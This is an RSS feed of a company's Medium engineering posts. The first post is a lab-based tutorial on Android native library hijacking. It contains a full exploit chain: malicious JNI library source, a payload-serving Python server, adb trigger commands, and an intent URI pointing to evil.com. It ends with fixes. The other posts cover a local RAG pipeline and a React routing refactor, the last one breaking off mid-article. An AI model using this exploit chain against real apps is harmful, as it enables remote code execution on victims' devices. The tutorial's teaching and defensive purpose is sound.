<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[DKatalis - Medium]]></title>
        <description><![CDATA[DKatalis is a highly adaptive tech company, driven to solve problems through tech and data. - Medium]]></description>
        <link>https://medium.com/dkatalis?source=rss----a639e354dffe---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>DKatalis - Medium</title>
            <link>https://medium.com/dkatalis?source=rss----a639e354dffe---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 07 Jul 2026 07:38:07 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/dkatalis" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[It’s a Trap: Defeating Android Native Library Hijacking]]></title>
            <link>https://medium.com/dkatalis/its-a-trap-defeating-android-native-library-hijacking-ddc5b7c5dbef?source=rss----a639e354dffe---4</link>
            <guid isPermaLink="false">https://medium.com/p/ddc5b7c5dbef</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[mobile-app-development]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[M. Habib]]></dc:creator>
            <pubDate>Mon, 29 Jun 2026 06:09:39 GMT</pubDate>
            <atom:updated>2026-06-29T06:09:38.049Z</atom:updated>
            <content:encoded><![CDATA[<h4>A breakdown of how unsanitized URI parsing enables high-privilege remote code execution.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CnjhaqFPKrSYltpvcB9epw.png" /></figure><p>In the Android ecosystem, some apps load native libraries (.so files) dynamically at runtime to enable additional features such as premium functionality, plugin systems, or performance-critical modules. While this pattern is common and legitimate, it introduces a serious attack surface when the library is loaded from a writable, predictable path without integrity verification.</p><h3>What is Native Library Hijacking?</h3><p>Native library hijacking occurs when an attacker replaces or plants a malicious shared object (.so) file in a location where an app expects to load a legitimate library. When the app calls System.load() on the tampered file, the attacker&#39;s code executes with the app&#39;s full privileges, achieving Remote Code Execution (RCE).</p><p>This becomes especially dangerous when combined with other vulnerabilities, such as path traversal in file download handlers. An attacker who can write arbitrary files to the app’s internal storage can plant a malicious library that will be loaded on the next app launch without any user interaction beyond clicking a link.</p><h3>The Unsafe Loading Pattern</h3><p>Some Android apps implement a “pro features” pattern where additional functionality is loaded at runtime from a native library stored in the app’s internal directory. If this library path is predictable and writable, and the app does not verify the file’s integrity before loading, it becomes a prime target for hijacking.</p><h3>Sample Case</h3><p>The app’s MainActivity is exported and handles VIEW intents for PDF files via deep links:</p><pre>&lt;activity android:exported=&quot;true&quot;<br>    android:name=&quot;com.mobilehackinglab.documentviewer.MainActivity&quot;&gt;<br>    &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;android.intent.action.VIEW&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.DEFAULT&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.BROWSABLE&quot;/&gt;<br>        &lt;data android:scheme=&quot;file&quot;/&gt;<br>        &lt;data android:scheme=&quot;http&quot;/&gt;<br>        &lt;data android:scheme=&quot;https&quot;/&gt;<br>        &lt;data android:mimeType=&quot;application/pdf&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>&lt;/activity&gt;</pre><p>Any app or browser can trigger this activity with a crafted URI, and the app will attempt to download and save the file.</p><h4>The Vulnerable Native Library Load</h4><pre>private final void loadProLibrary() {<br>    String abi = Build.SUPPORTED_ABIS[0];<br>    File libraryFolder = new File(getApplicationContext().getFilesDir(),<br>        &quot;native-libraries/&quot; + abi);<br>    File libraryFile = new File(libraryFolder, &quot;libdocviewer_pro.so&quot;);<br>    System.load(libraryFile.getAbsolutePath());<br>    this.proFeaturesEnabled = true;<br>}</pre><p>The app loads a native library from a predictable, writable path: &lt;filesDir&gt;/native-libraries/&lt;abi&gt;/libdocviewer_pro.so. There is no signature check, no hash verification; whatever file exists at that path will be loaded and executed. This is the hijack target.</p><h4>The Path Traversal Enabler</h4><pre>public final MutableLiveData&lt;Uri&gt; copyFileFromUri(Uri uri) {<br>    URL url = new URL(uri.toString());<br>    String lastPathSegment = uri.getLastPathSegment();<br>    if (lastPathSegment == null) {<br>        lastPathSegment = &quot;download.pdf&quot;;<br>    }<br>    File outFile = new File(DOWNLOADS_DIRECTORY, lastPathSegment);<br>    // ... downloads url contents to outFile<br>}</pre><p>The copyFileFromUri method uses Uri.getLastPathSegment() directly as the output filename. This is dangerous because getLastPathSegment() decodes percent-encoding, meaning %2F becomes /, enabling path traversal out of the Downloads directory and into the app&#39;s internal storage where the native library resides.</p><h3>The Attack Chain</h3><p>The vulnerability chains two weaknesses:</p><ol><li><strong>Path Traversal</strong> — Uri.getLastPathSegment() decodes %2F to /, allowing directory traversal from the Downloads folder into the app&#39;s internal storage</li><li><strong>Unsafe Native Library Loading</strong> — System.load() loads from a predictable writable path without integrity verification</li></ol><p>Combined, an attacker can plant a malicious native library via a crafted deep link, achieving Remote Code Execution on the next app launch.</p><h3>Sample Attack</h3><h4>Step 1: Create the Malicious Library</h4><pre>#include &lt;jni.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;android/log.h&gt;<br><br>#define TAG &quot;PWNED&quot;<br><br>JNIEXPORT jint JNI_OnLoad(JavaVM *vm, void *reserved) {<br>    __android_log_print(ANDROID_LOG_ERROR, TAG,<br>        &quot;=== RCE ACHIEVED - libdocviewer_pro.so loaded ===&quot;);<br>    __android_log_print(ANDROID_LOG_ERROR, TAG,<br>        &quot;UID: %d, PID: %d&quot;, getuid(), getpid());<br><br>    FILE *f = fopen(&quot;/data/data/com.mobilehackinglab.documentviewer&quot;<br>                    &quot;/files/pwned.txt&quot;, &quot;w&quot;);<br>    if (f) {<br>        fprintf(f, &quot;RCE achieved via path traversal\n&quot;);<br>        fprintf(f, &quot;UID: %d, PID: %d\n&quot;, getuid(), getpid());<br>        fclose(f);<br>    }<br>    return JNI_VERSION_1_6;<br>}</pre><p>The purpose of the code above is to create a native library that generates a /files/pwned.txt file in the /data/data/com.mobilehackinglab.documentviewer directory.</p><p><strong>Compile for arm64-v8a</strong>:</p><pre>$NDK/aarch64-linux-android33-clang -shared -o libdocviewer_pro.so pwned.c -llog</pre><h4>Step 2: Start the Exploit Server</h4><p>A custom server is needed because standard HTTP servers decode %2F in the URL path and return 404. This server ignores the requested path and always serves the payload:</p><pre>#!/usr/bin/env python3<br>import http.server, os<br><br>SO_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)),<br>                       &quot;libdocviewer_pro.so&quot;)<br><br>class ExploitHandler(http.server.BaseHTTPRequestHandler):<br>    def do_GET(self):<br>        with open(SO_FILE, &quot;rb&quot;) as f:<br>            payload = f.read()<br>        self.send_response(200)<br>        self.send_header(&quot;Content-Type&quot;, &quot;application/pdf&quot;)<br>        self.send_header(&quot;Content-Length&quot;, str(len(payload)))<br>        self.end_headers()<br>        self.wfile.write(payload)<br><br>if __name__ == &quot;__main__&quot;:<br>    server = http.server.HTTPServer((&quot;0.0.0.0&quot;, 8888), ExploitHandler)<br>    print(f&quot;Exploit server on :8888&quot;)<br>    server.serve_forever()</pre><h4>Step 3: Trigger the Deep Link</h4><pre>HOST_IP=&quot;192.168.1.5&quot;<br><br>adb shell am start -a android.intent.action.VIEW \<br>  -t &quot;application/pdf&quot; \<br>  -d &quot;http://${HOST_IP}:8888/..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Farm64-v8a%2Flibdocviewer_pro.so&quot; \<br>  com.mobilehackinglab.documentviewer</pre><p><strong>What happens internally:</strong></p><ol><li>Android routes the intent to MainActivity (matches VIEW + application/pdf)</li><li>handleIntent() passes the URI to CopyUtil.copyFileFromUri()</li><li>uri.getLastPathSegment() decodes the percent-encoded path → ../../../../data/data/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a/libdocviewer_pro.so</li><li>new File(&quot;/storage/emulated/0/Download&quot;, decodedSegment) resolves ../ at the OS level, traversing into the app&#39;s internal storage</li><li>The coroutine downloads from our server and writes the malicious .so to the target path</li></ol><h4>Step 4: Trigger Code Execution</h4><p>Force-stop the app and relaunch it. The planted library will be loaded by System.load():</p><pre>adb shell am force-stop com.mobilehackinglab.documentviewer<br>adb logcat -c<br>adb shell am start -n com.mobilehackinglab.documentviewer/.MainActivity<br>sleep 3<br>adb logcat -d | grep &quot;PWNED&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F0JH4hq-NsZ9uy5SOxislA.png" /></figure><h4>Step 5: Verify Proof of Exploitation</h4><p>Open the /files/pwned.txt file that was created by the native library earlier.</p><pre>adb shell &quot;run-as com.mobilehackinglab.documentviewer \<br>  cat /data/data/com.mobilehackinglab.documentviewer/files/pwned.txt&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d9debOizfDILjkUZhayF9A.png" /></figure><h3>Real-World Attack Scenario</h3><p>In a real-world scenario (without ADB), an attacker would:</p><ol><li>Host the malicious .so on a public server with the custom handler</li><li>Craft an intent URI and embed it in a webpage or phishing message:</li></ol><pre>intent://evil.com/..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Farm64-v8a%2Flibdocviewer_pro.so#Intent;scheme=https;type=application/pdf;package=com.mobilehackinglab.documentviewer;end</pre><p>3. Victim clicks the link in their browser, the app opens, and downloads the .so</p><p>4. Next time the victim opens Document Viewer normally, the attacker&#39;s code executes</p><p>No root, Frida, or physical access required. A single click plants the payload; a normal app launch triggers it.</p><h3>Secure Patterns</h3><p>The following code examples demonstrate how to prevent each component of this attack chain.</p><h4>Safe Filename Extraction</h4><p>Never use Uri.getLastPathSegment() directly as a filename. Strip directory separators and reject traversal sequences:</p><pre>private String sanitizeFilename(Uri uri) {<br>    String segment = uri.getLastPathSegment();<br>    if (segment == null) return &quot;download.pdf&quot;;<br><br>    // Strip any path separators (both encoded and decoded)<br>    String filename = segment.replace(&quot;/&quot;, &quot;&quot;)<br>                             .replace(&quot;\\&quot;, &quot;&quot;)<br>                             .replace(&quot;..&quot;, &quot;&quot;);<br><br>    // Additional safety: take only the last component<br>    int lastSep = filename.lastIndexOf(File.separatorChar);<br>    if (lastSep &gt;= 0) {<br>        filename = filename.substring(lastSep + 1);<br>    }<br><br>    return filename.isEmpty() ? &quot;download.pdf&quot; : filename;<br>}</pre><h4>Canonical Path Validation</h4><p>Before writing any file, verify the resolved path stays within the intended directory:</p><pre>private File safeResolve(File baseDir, String filename) throws IOException {<br>    File target = new File(baseDir, filename);<br>    String canonicalBase = baseDir.getCanonicalPath();<br>    String canonicalTarget = target.getCanonicalPath();<br><br>    if (!canonicalTarget.startsWith(canonicalBase + File.separator)) {<br>        throw new SecurityException(<br>            &quot;Path traversal detected: &quot; + filename);<br>    }<br>    return target;<br>}</pre><h4>Integrity Verification Before Loading</h4><p>If native libraries must be loaded from writable storage, verify their integrity first:</p><pre>private void loadVerifiedLibrary(File libraryFile, String expectedSha256) {<br>    if (!libraryFile.exists()) {<br>        Log.w(TAG, &quot;Pro library not found, skipping&quot;);<br>        return;<br>    }<br><br>    String actualHash = sha256(libraryFile);<br>    if (!actualHash.equals(expectedSha256)) {<br>        libraryFile.delete();<br>        throw new SecurityException(<br>            &quot;Library integrity check failed — file deleted&quot;);<br>    }<br><br>    System.load(libraryFile.getAbsolutePath());<br>}<br><br>private String sha256(File file) {<br>    try (InputStream is = new FileInputStream(file)) {<br>        MessageDigest digest = MessageDigest.getInstance(&quot;SHA-256&quot;);<br>        byte[] buffer = new byte[8192];<br>        int read;<br>        while ((read = is.read(buffer)) != -1) {<br>            digest.update(buffer, 0, read);<br>        }<br>        byte[] hash = digest.digest();<br>        StringBuilder hex = new StringBuilder();<br>        for (byte b : hash) {<br>            hex.append(String.format(&quot;%02x&quot;, b));<br>        }<br>        return hex.toString();<br>    } catch (Exception e) {<br>        return &quot;&quot;;<br>    }<br>}</pre><h4>Preferred: Ship Libraries in the APK</h4><p>The safest approach is to avoid writable paths entirely. Native libraries shipped in the APK’s lib/ directory are protected by the package manager and verified at install time:</p><pre>// Safe: loaded from APK&#39;s lib/ directory, not writable by the app<br>static {<br>    System.loadLibrary(&quot;docviewer_pro&quot;);<br>}</pre><h3>Conclusion</h3><p>This example demonstrates how combining two seemingly low-severity issues, an unsanitized filename from a deep link handler and a predictable native library load path, results in a critical Remote Code Execution vulnerability. Developers should sanitize all URI-derived filenames, validate canonical paths before writing, verify integrity before loading native code, and prefer shipping libraries within the APK itself.</p><h4><strong>References</strong>:</h4><ul><li><a href="https://academy.mobilehackinglab.com/course/lab-document-viewer-rce"><strong>Mobile Hacking Lab — Document Viewer</strong></a></li><li><a href="https://mas.owasp.org/MASTG/tests/android/MASVS-PLATFORM/MASTG-TEST-0028/"><strong>OWASP Mobile Application Security — Testing Deep Links</strong></a></li><li><a href="https://developer.android.com/privacy-and-security/risks/path-traversal"><strong>Android Path Traversal</strong></a></li><li><a href="https://www.mobilehackinglab.com/hacking-labs.html"><strong>Mobile Hacking Lab – Hacking Labs</strong></a></li></ul><figure><a href="http://dkatalis.com/jobs"><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BO-miFCBQKUbsm0Ht19r1w.png" /></a></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ddc5b7c5dbef" width="1" height="1" alt=""><hr><p><a href="https://medium.com/dkatalis/its-a-trap-defeating-android-native-library-hijacking-ddc5b7c5dbef">It’s a Trap: Defeating Android Native Library Hijacking</a> was originally published in <a href="https://medium.com/dkatalis">DKatalis</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Privacy-Preserving AI: My Journey to a Self-Hosted RAG Pipeline]]></title>
            <link>https://medium.com/dkatalis/privacy-preserving-ai-my-journey-to-a-self-hosted-rag-pipeline-085a1e1f5d7a?source=rss----a639e354dffe---4</link>
            <guid isPermaLink="false">https://medium.com/p/085a1e1f5d7a</guid>
            <category><![CDATA[large-language-models]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[retrieval-augmented-gen]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[M. Habib]]></dc:creator>
            <pubDate>Tue, 14 Apr 2026 04:31:02 GMT</pubDate>
            <atom:updated>2026-04-14T04:31:01.955Z</atom:updated>
            <content:encoded><![CDATA[<h4>Building a fully local RAG pipeline to keep sensitive data off cloud APIs without sacrificing capability.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7q_4WpYuiMm6KA3zvjJJUw.png" /></figure><h3>The Privacy Dilemma in the Age of AI</h3><p>Today, interacting with AI feels seamless: type a question, receive an insightful answer. But for those of us working with sensitive technical documentation, organizational confidential information, or proprietary research, that convenience carries a hidden cost: <strong>data exposure</strong>.</p><blockquote><em>If I can’t verify where my data goes, how it’s stored, or who might access it, should I share it?</em></blockquote><p>Every prompt sent to a cloud-based LLM introduces risk. Even with strong privacy policies, you’re ultimately trusting a third party with:</p><ul><li>The raw content of your documents</li><li>Your query patterns and areas of intellectual focus</li><li>Metadata that could reveal project timelines, system architectures, or security postures</li></ul><p>As someone who regularly handles confidential materials and unpublished technical writing, I couldn’t accept that trade-off. This isn’t me being paranoid; it’s a documented compliance and security concern grounded in real-world threat models.</p><h3>The Case for Data Sovereignty</h3><h4>Trust Boundaries Matter</h4><p>Retrieval-Augmented Generation (RAG) enhances LLMs by connecting them to external knowledge sources. While RAG is privacy-respecting by design (keeping data separate from model weights), the deployment architecture ultimately determines whether your information stays truly private.</p><p>Cloud AI APIs offer tremendous power, but they operate outside your control perimeter. When you upload a document to a managed RAG service, you implicitly accept that:</p><ul><li>You don’t control data retention or deletion policies</li><li>You can’t audit how embeddings are generated, stored, or potentially reused</li><li>You rely on the provider’s security posture, not your own</li></ul><p>For my work in cybersecurity, that lack of visibility wasn’t just uncomfortable; it was a hard blocker.</p><h4>Compliance, Control, and Offline Access</h4><p>Beyond personal preference, there are practical scenarios where local AI is essential:</p><ul><li><strong>Data residency requirements</strong>: Some projects mandate that data never leaves a specific machine or network</li><li><strong>Air-gapped environments: </strong>Security research often happens on isolated systems</li><li><strong>Long-term reproducibility</strong>: Local models and vectors ensure your RAG pipeline behaves consistently over time</li><li><strong>Cost predictability: </strong>No API calls means no surprise bills or rate limits</li></ul><h4>My Personal Threshold</h4><p>I’m not anti-cloud. I use managed services when they make sense. But for knowledge work involving sensitive or unpublished material, my rule is simple:</p><blockquote><em>“If the data shouldn’t be public, it shouldn’t leave my machine.”</em></blockquote><p>That principle drove every architectural decision in my RAG pipeline.</p><h3>The Solution: A Local-First RAG Architecture</h3><p>Here’s the stack I assembled to keep intelligence local without sacrificing capability:</p><h4>Core Components</h4><pre>| Component | Technology | Purpose |<br>|-----------|------------|---------|<br>| **LLM** | Ollama (Mistral) | Local inference, zero API calls |<br>| **Embeddings** | Ollama (nomic-embed-text) | 768-dimensional vectors, generated locally |<br>| **Vector Store** | PostgreSQL + PGVector | Persistent, queryable document storage |<br>| **Document Processing** | Docling | PDF, Word, PowerPoint, Excel, HTML conversion |<br>| **Interfaces** | FastAPI Web UI + CLI | Flexible access methods |<br>| **Agent Framework** | PydanticAI | Structured RAG orchestration |</pre><h4><strong>Architecture Overview</strong></h4><pre><br>┌─────────────────────────────────────────────────────────┐<br>│                      USER INTERFACES                    │<br>│  ┌─────────────────────┐           ┌─────────────────┐  │<br>│  │   Web Interface     │           │   CLI Interface │  │<br>│  │   (FastAPI + HTML)  │           │  (Python async) │  │<br>│  └──────────┬──────────┘           └────────┬────────┘  │<br>└─────────────┼───────────────────────────────┼────────────┘<br>              │                               │<br>              └─────────────┬─────────────────┘<br>                            │<br>              ┌─────────────▼───────────────────┐<br>              │       RAG Agent Core            │<br>              │  ┌───────────────────────────┐  │<br>              │  │ PydanticAI Agent          │  │<br>              │  │ + search_knowledge_base() │  │<br>              │  └───────────────────────────┘  │<br>              └─────────────┬───────────────────┘<br>                            │<br>         ┌──────────────────┼──────────────────┐<br>         │                  │                  │<br>┌────────▼────────┐  ┌──────▼───────┐  ┌──────▼───────┐<br>│  Embeddings     │  │    LLM       │  │  PostgreSQL  │<br>│  (Ollama)       │  │  (Ollama)    │  │  + PGVector  │<br>│  [Local]        │  │  [Local]     │  │  [Local]     │<br>└─────────────────┘  └──────────────┘  └──────────────┘</pre><h4><strong>Key Design Decisions</strong></h4><ol><li><strong>Ollama over OpenAI API<br></strong>Running Mistral locally via Ollama means no API keys, no usage tracking, and no data leaving my machine. The trade-off is slightly slower inference, but for my use case, privacy wins.</li><li><strong>PGVector for Vector Storage<br></strong>PostgreSQL with the PGVector extension provides a battle-tested database with built-in vector similarity search. I control retention, backups, and access policies.</li><li><strong>Document Processing with Docling<br></strong>Docling handles the messy work of converting PDFs, Office documents, and HTML into clean markdown — entirely offline.</li><li><strong>Dual Interfaces</strong></li></ol><ul><li><strong>CLI</strong> for quick terminal queries and SSH access</li><li><strong>Web UI</strong> for file uploads, visual browsing, and web crawling</li></ul><h4><strong>What This Enables</strong></h4><p>✅ Query my internal documentation without leaving my network<br>✅ Process sensitive security reports with full auditability<br>✅ Transcribe audio recordings (via local Whisper) and search them<br>✅ Crawl documentation sites and keep everything local<br>✅ Maintain conversation context across sessions<br>✅ Get source citations for every response</p><p><strong>Zero egress. Zero rate limits. Zero third-party visibility.</strong></p><h3><strong>Is Local RAG Right for You?</strong></h3><p>Before diving into implementation, here’s a quick self-assessment:</p><ol><li><strong>Local RAG is a good fit if:</strong></li></ol><ul><li>You handle sensitive, confidential, or unpublished data</li><li>You have compliance or data residency requirements</li><li>You want full control over your AI stack</li><li>You’re comfortable managing your own infrastructure</li></ul><p>2. <strong>Cloud APIs may suffice if:</strong></p><ul><li>You’re prototyping or learning</li><li>Your data is already public</li><li>You prioritize convenience over control</li><li>You need state-of-the-art model capabilities</li></ul><p>For my work in cybersecurity, local RAG wasn’t just preferable. It was necessary.</p><h3><strong>Implementation Highlights</strong></h3><p>Here’s a look at the core implementation details that make local RAG possible:</p><h4><strong>Database Schema</strong></h4><p>The PGVector schema stores documents and their embeddings:</p><pre>-- Chunks table with 768-dimensional embeddings<br>CREATE TABLE chunks (<br>    id UUID PRIMARY KEY,<br>    document_id UUID REFERENCES documents(id),<br>    content TEXT,<br>    embedding vector(768),<br>    chunk_index INTEGER<br>);<br><br>-- Vector similarity search function<br>CREATE FUNCTION match_chunks(<br>    query_embedding vector(768),<br>    match_count INTEGER DEFAULT 5<br>) RETURNS TABLE(...)</pre><h4><strong>Environment Configuration</strong></h4><pre># Point OpenAI-compatible clients to Ollama<br>OPENAI_API_KEY=ollama<br>OPENAI_BASE_URL=http://localhost:11434/v1<br><br># Local models<br>LLM_CHOICE=mistral<br>EMBEDDING_MODEL=nomic-embed-text<br><br># Local PostgreSQL<br>DATABASE_URL=postgresql://user:password@localhost:5432/rag_db</pre><h4><strong>Performance Optimizations</strong></h4><ul><li><strong>Database connection pooling</strong> (min_size=2, max_size=10)</li><li><strong>Embedding cache</strong> for frequently searched queries</li><li><strong>Token-by-token streaming</strong> for immediate feedback</li></ul><h3><strong>Example Workflow</strong></h3><p>Here’s what querying the RAG agent looks like in practice:</p><pre>$ uv run python cli.py<br><br>&gt; &quot;What are the authentication requirements for the client portal?&quot;<br><br>Searching knowledge base... [3 matches found]<br><br>Based on the security assessment documentation, the client portal requires:<br><br>1. Multi-factor authentication (MFA) for all user accounts<br>2. Session timeout after 15 minutes of inactivity<br>3. Password complexity: minimum 14 characters with special characters<br><br>Sources:<br>- security-assessment-2025.pdf (page 12)<br>- client-portal-requirements.md (section 3.2)</pre><p>All of this happens locally — no data leaves the machine.</p><h3><strong>Trade-Offs and Limitations</strong></h3><p>Building a local RAG pipeline isn’t without compromises. There are several trade-offs to consider:</p><ul><li><strong>Hardware requirements: </strong>Need sufficient RAM and CPU (GPU recommended for larger models)</li><li><strong>Model capability: </strong>Local models may not match GPT-4 level reasoning</li><li><strong>Setup complexity:</strong> More initial configuration than API-based solutions</li><li><strong>Maintenance: </strong>You’re responsible for updates, backups, and monitoring</li></ul><p>For my threat model and use case, these trade-offs are acceptable. Your mileage may vary.</p><h3><strong>Getting Started</strong></h3><p>If you want to replicate this setup, the project is available on GitHub:</p><ul><li><strong>Repository</strong>: <a href="https://github.com/n4igme/randscript/tree/main/rag-agent">rag-agent</a></li><li><strong>Documentation</strong>: <a href="https://n4igme.github.io/randscript/rag-agent/">https://n4igme.github.io/randscript/rag-agent/</a></li></ul><p><strong>Key prerequisites</strong>:</p><ul><li>Python 3.10+</li><li>PostgreSQL with <a href="https://github.com/pgvector/pgvector">PGVector</a> extension</li><li><a href="https://ollama.com/">Ollama</a> installed locally</li><li>System libraries for audio processing (`libopus`, `opusfile`)</li></ul><p><strong>Helpful resources:</strong></p><ul><li><a href="https://github.com/DS4SD/docling">Docling</a> — Document processing pipeline</li><li><a href="https://ai.pydantic.dev/">PydanticAI</a> — Agent framework</li></ul><h3><strong>Final Thoughts</strong></h3><p>Building a local RAG pipeline taught me that privacy-preserving AI is entirely achievable today. The tools exist — <a href="https://ollama.com/">Ollama</a>, <a href="https://github.com/pgvector/pgvector">PGVector</a>, <a href="https://github.com/DS4SD/docling">Docling</a>, <a href="https://ai.pydantic.dev/">PydanticAI</a>—and they’re mature enough for production use.</p><p>The question isn’t whether local AI is capable. It’s whether you’re willing to invest the effort to keep your data under your control.</p><p>For me, that answer was clear: If the data shouldn’t be public, it shouldn’t leave my machine.</p><p><em>Never miss updates on what DKatalis amazing tech team works on! Follow us.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=085a1e1f5d7a" width="1" height="1" alt=""><hr><p><a href="https://medium.com/dkatalis/privacy-preserving-ai-my-journey-to-a-self-hosted-rag-pipeline-085a1e1f5d7a">Privacy-Preserving AI: My Journey to a Self-Hosted RAG Pipeline</a> was originally published in <a href="https://medium.com/dkatalis">DKatalis</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The 3-Year Routing Mistake That Festered Under the Rug]]></title>
            <link>https://medium.com/dkatalis/the-3-year-routing-mistake-that-festered-under-the-rug-a5a8bfc07ada?source=rss----a639e354dffe---4</link>
            <guid isPermaLink="false">https://medium.com/p/a5a8bfc07ada</guid>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[software-engineering]]></category>
            <dc:creator><![CDATA[Fadil Nugraha Adithama]]></dc:creator>
            <pubDate>Thu, 11 Dec 2025 03:02:20 GMT</pubDate>
            <atom:updated>2025-12-11T03:02:20.160Z</atom:updated>
            <content:encoded><![CDATA[<h4>The journey from 35-prop chaos to 4-layout clarity, and why the best solution was right there all along.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GhmtLpyPIF0KaYIg859BaA.png" /></figure><blockquote>Bad code doesn’t just sit there quietly — it actively fights you every step of the way, turning simple changes into archaeological expeditions where you’re left asking, “Why does it look like this?”</blockquote><p>React Router had me trapped in routing purgatory for three years, watching my layouts become a monstrous, Venom-like symbiote with props drilled through components like some twisted symbiote hive mind. Every route felt like another layer of hell I’d created for myself. Then I found the pattern that made it all effortless — and honestly, I’m still processing how long I suffered while the solution was basically right in front of my face the whole time.</p><p>In this article, I want to share how the People Xperience Development Team of DKatalis managed to escape from that nightmare, pursuing a better development process✨</p><h3>The Moment We Knew We Were Doomed</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*X_nBUMKfTIYiIWP-lTf4wg.png" /></figure><p>We knew we had a problem when the mere suggestion of a new route during sprint planning caused a collective groan. We knew what was coming: agonizing prop drilling, fragile conditional checks, and inevitable layout breaks. It was like asking one hero to have all the powers — Iron Man’s tech, Doctor Strange’s magic, Spider-Man’s agility — and somehow make it work. We all know how that would turn out.</p><p>For the past three years, we were relying on a single “God Layout” to handle every conceivable UI configuration. The result wasn’t pretty; it was a monstrosity.</p><p>This was the props we had, and trust me, it’s as bad as you think:</p><pre>interface PXRouteProps {<br>  profile?: string;<br>  featureVersion?: string;<br>  isHiddenFeature?: boolean;<br>  path?: string;<br>  name: string;<br>  icon?: ReactNode;<br>  component?: ReactNode;<br>  actionComponent?: ReactNode;<br>  titleComponent?: ReactNode;<br>  secondarySection?: ReactNode;<br>  thirdSection?: ReactNode;<br>  layout?: string;<br>  state?: string;<br>  category?: string;<br>  views?: PXRoute[];<br>  secondaryNavbar?: boolean;<br>  module?: string;<br>  permission?: string;<br>  entityBased?: boolean;<br>  tags?: string[];<br>  isPageOnly?: boolean;<br>  showBackButton?: boolean;<br>  backURL?: string;<br>  exitConfirmation?: boolean;<br>  moduleName?: string;<br>  useBreadcrumbs?: boolean;<br>  useScreenHeight?: boolean;<br>  layoutMaxWidth?: ResponsiveValue&lt;<br>    number | string | &#39;sm&#39; | &#39;base&#39; | &#39;md&#39; | &#39;lg&#39; | &#39;xl&#39; | &#39;2xl&#39;<br>  &gt;;<br>  headerPadding?: PXInsets;<br>  bodyPadding?: PXInsets;<br>  profilePredicate?: (userProfile?: UserProfile) =&gt; boolean;<br>  isCompanyLocked?: boolean;<br>  onAddMode?: boolean;<br>  useTreeview?: boolean;<br>  treeviewEntryPoint?: boolean;<br>  treeviewName?: string;<br>  treeviewMainComponent?: ReactNode;<br>  treeviewHeaderComponent?: ReactNode;<br>}</pre><p>Yep, you read that right: a 35+ props for the route. But that interface was just the unassuming host body. The real horror was the single layout component underneath: a 400+ line symbiote that had mutated from a simple container into a Venom-esque monstrosity. It checked every prop, rendered every conditional, and handled every edge case. Trying to add a new route meant deciphering those 35 props and praying you didn’t anger the beast by creating another “special case.”</p><h3>The Escape Route from Routing Purgatory</h3><p>After three years of suffering, we finally found it: the pattern that made layouts effortless. The solution wasn’t about adding more props or creating more “special cases.” It was about doing the opposite: simplifying, standardizing, and letting React Router do what it does best.</p><p>The key? Separating concerns. Instead of one layout trying to handle everything, we created a system where each route could define its own layout needs without turning our component into a configuration nightmare.</p><p>Here’s what our routing structure looks like now:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xU7AguQ-ClW6E8FQA-u9lw.png" /></figure><p>This simple shift changed everything. No more 35+ props, conditional rendering hell, or “special cases.” Just clean, predictable, maintainable code.</p><h3>How We Burned It Down and Rebuilt from the Ashes</h3><p>So we had this 35+ prop monster, and we knew we had to kill it. But how do you kill a monster that’s been growing for three years? You don’t patch it. You don’t add more props. You burn it down and rebuild from scratch.</p><p>Here’s how we did it — step by step, like Tony Stark rebuilt his suit after every battle to make it better.</p><h4><strong>Step 1: Define the Layout Types and the rules</strong></h4><p>First, we identified what we actually needed. Instead of 35+ props for switching a single layout, we defined clear layout types:</p><ol><li><strong>Authentication</strong>: the first step before entering the real features. This defines every authentication need. This needs to be separated to perform concern separation and focus on handling each.</li><li><strong>Core</strong>: the real stars. This layout configs the true face of our web page. This is basically the general configurations for most every feature with consistent spacing.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Conk20DvpxnksOFYpHEbvg.png" /></figure><p><strong>3. No content padding</strong>: supposed to be like the Core 